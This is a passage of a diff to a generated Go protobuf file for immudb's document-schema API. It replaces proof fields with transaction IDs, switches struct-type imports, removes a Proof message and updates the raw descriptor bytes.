protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Proof *schema.VerifiableTx `protobuf:"bytes,1,opt,name=proof,proto3" json:"proof,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + DocumentId string `protobuf:"bytes,1,opt,name=documentId,proto3" json:"documentId,omitempty"` + TransactionId uint64 `protobuf:"varint,2,opt,name=transactionId,proto3" json:"transactionId,omitempty"` } func (x *DocumentInsertResponse) Reset() { @@ -246,18 +245,18 @@ func (*DocumentInsertResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{1} } -func (x *DocumentInsertResponse) GetProof() *schema.VerifiableTx { +func (x *DocumentInsertResponse) GetDocumentId() string { if x != nil { - return x.Proof + return x.DocumentId } - return nil + return "" } -func (x *DocumentInsertResponse) GetDocumentId() string { +func (x *DocumentInsertResponse) GetTransactionId() uint64 { if x != nil { - return x.DocumentId + return x.TransactionId } - return "" + return 0 } type DocumentUpdateRequest struct { @@ -265,9 +264,9 @@ type DocumentUpdateRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` - Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + Document *_struct.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentUpdateRequest) Reset() { @@ -316,7 +315,7 @@ func (x *DocumentUpdateRequest) GetDocumentId() string { return "" } -func (x *DocumentUpdateRequest) GetDocument() *structpb.Struct { +func (x *DocumentUpdateRequest) GetDocument() *_struct.Struct { if x != nil { return x.Document } @@ -328,8 +327,8 @@ type DocumentUpdateResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Proof *schema.VerifiableTx `protobuf:"bytes,1,opt,name=proof,proto3" json:"proof,omitempty"` - Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` + Revision uint64 `protobuf:"varint,1,opt,name=revision,proto3" json:"revision,omitempty"` + TransactionId uint64 `protobuf:"varint,2,opt,name=transactionId,proto3" json:"transactionId,omitempty"` } func (x *DocumentUpdateResponse) Reset() { @@ -364,16 +363,16 @@ func (*DocumentUpdateResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{3} } -func (x *DocumentUpdateResponse) GetProof() *schema.VerifiableTx { +func (x *DocumentUpdateResponse) GetRevision() uint64 { if x != nil { - return x.Proof + return x.Revision } - return nil + return 0 } -func (x *DocumentUpdateResponse) GetRevision() uint64 { +func (x *DocumentUpdateResponse) GetTransactionId() uint64 { if x != nil { - return x.Revision + return x.TransactionId } return 0 } @@ -431,11 +430,11 @@ func (m *IndexValue) GetKind() isIndexValue_Kind { return nil } -func (x *IndexValue) GetNullValue() structpb.NullValue { +func (x *IndexValue) GetNullValue() _struct.NullValue { if x, ok := x.GetKind().(*IndexValue_NullValue); ok { return x.NullValue } - return structpb.NullValue(0) + return _struct.NullValue(0) } func (x *IndexValue) GetNumberValue() float64 { @@ -464,7 +463,7 @@ type isIndexValue_Kind interface { } type IndexValue_NullValue struct { - NullValue structpb.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` + NullValue _struct.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` } type IndexValue_NumberValue struct { @@ -492,9 +491,9 @@ type DocumentQuery struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` - Value *structpb.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` + Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` } func (x *DocumentQuery) Reset() { @@ -543,7 +542,7 @@ func (x *DocumentQuery) GetOperator() QueryOperator { return QueryOperator_EQ } -func (x *DocumentQuery) GetValue() *structpb.Value { +func (x *DocumentQuery) GetValue() *_struct.Value { if x != nil { return x.Value } @@ -626,10 +625,10 @@ type DocumentSearchResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Results []*structpb.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` - EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` + Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` + EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` } func (x *DocumentSearchResponse) Reset() { @@ -664,7 +663,7 @@ func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{7} } -func (x *DocumentSearchResponse) GetResults() []*structpb.Struct { +func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { if x != nil { return x.Results } @@ -949,9 +948,9 @@ type DocumentAudit struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Value *structpb.Struct `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` - TransactionID uint64 `protobuf:"varint,2,opt,name=transactionID,proto3" json:"transactionID,omitempty"` - Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` + Value *_struct.Struct `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` + TransactionId uint64 `protobuf:"varint,2,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` } func (x *DocumentAudit) Reset() { @@ -986,16 +985,16 @@ func (*DocumentAudit) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{12} } -func (x *DocumentAudit) GetValue() *structpb.Struct { +func (x *DocumentAudit) GetValue() *_struct.Struct { if x != nil { return x.Value } return nil } -func (x *DocumentAudit) GetTransactionID() uint64 { +func (x *DocumentAudit) GetTransactionId() uint64 { if x != nil { - return x.TransactionID + return x.TransactionId } return 0 } @@ -1483,53 +1482,6 @@ func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{22} } -type Proof struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` -} - -func (x *Proof) Reset() { - *x = Proof{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[23] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Proof) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Proof) ProtoMessage() {} - -func (x *Proof) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[23] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Proof.ProtoReflect.Descriptor instead. -func (*Proof) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{23} -} - -func (x *Proof) GetName() string { - if x != nil { - return x.Name - } - return "" -} - type CollectionUpdateRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1543,7 +1495,7 @@ type CollectionUpdateRequest struct { func (x *CollectionUpdateRequest) Reset() { *x = CollectionUpdateRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[24] + mi := &file_documentschema_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1556,7 +1508,7 @@ func (x *CollectionUpdateRequest) String() string { func (*CollectionUpdateRequest) ProtoMessage() {} func (x *CollectionUpdateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[24] + mi := &file_documentschema_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1569,7 +1521,7 @@ func (x *CollectionUpdateRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionUpdateRequest.ProtoReflect.Descriptor instead. func (*CollectionUpdateRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{24} + return file_documentschema_proto_rawDescGZIP(), []int{23} } func (x *CollectionUpdateRequest) GetName() string { @@ -1604,7 +1556,7 @@ type CollectionUpdateResponse struct { func (x *CollectionUpdateResponse) Reset() { *x = CollectionUpdateResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[25] + mi := &file_documentschema_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1617,7 +1569,7 @@ func (x *CollectionUpdateResponse) String() string { func (*CollectionUpdateResponse) ProtoMessage() {} func (x *CollectionUpdateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[25] + mi := &file_documentschema_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1630,7 +1582,7 @@ func (x *CollectionUpdateResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionUpdateResponse.ProtoReflect.Descriptor instead. func (*CollectionUpdateResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{25} + return file_documentschema_proto_rawDescGZIP(), []int{24} } func (x *CollectionUpdateResponse) GetCollection() *CollectionInformation { @@ -1647,336 +1599,331 @@ var file_documentschema_proto_rawDesc = []byte{ 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x15, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1b, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x65, 0x6d, 0x70, - 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, - 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x22, 0x6b, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, - 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, + 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, + 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, + 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x22, 0x5e, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, + 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x22, 0x8c, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0x8c, 0x01, - 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, - 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x67, 0x0a, 0x16, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xbc, 0x01, 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x09, 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, - 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, - 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, - 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, - 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, - 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, - 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x40, 0x0a, 0x08, - 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x24, + 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x33, 0x0a, + 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x22, 0x5a, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xbc, + 0x01, 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, + 0x0a, 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, + 0x09, 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, + 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, + 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, + 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, + 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, + 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, + 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x40, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, + 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 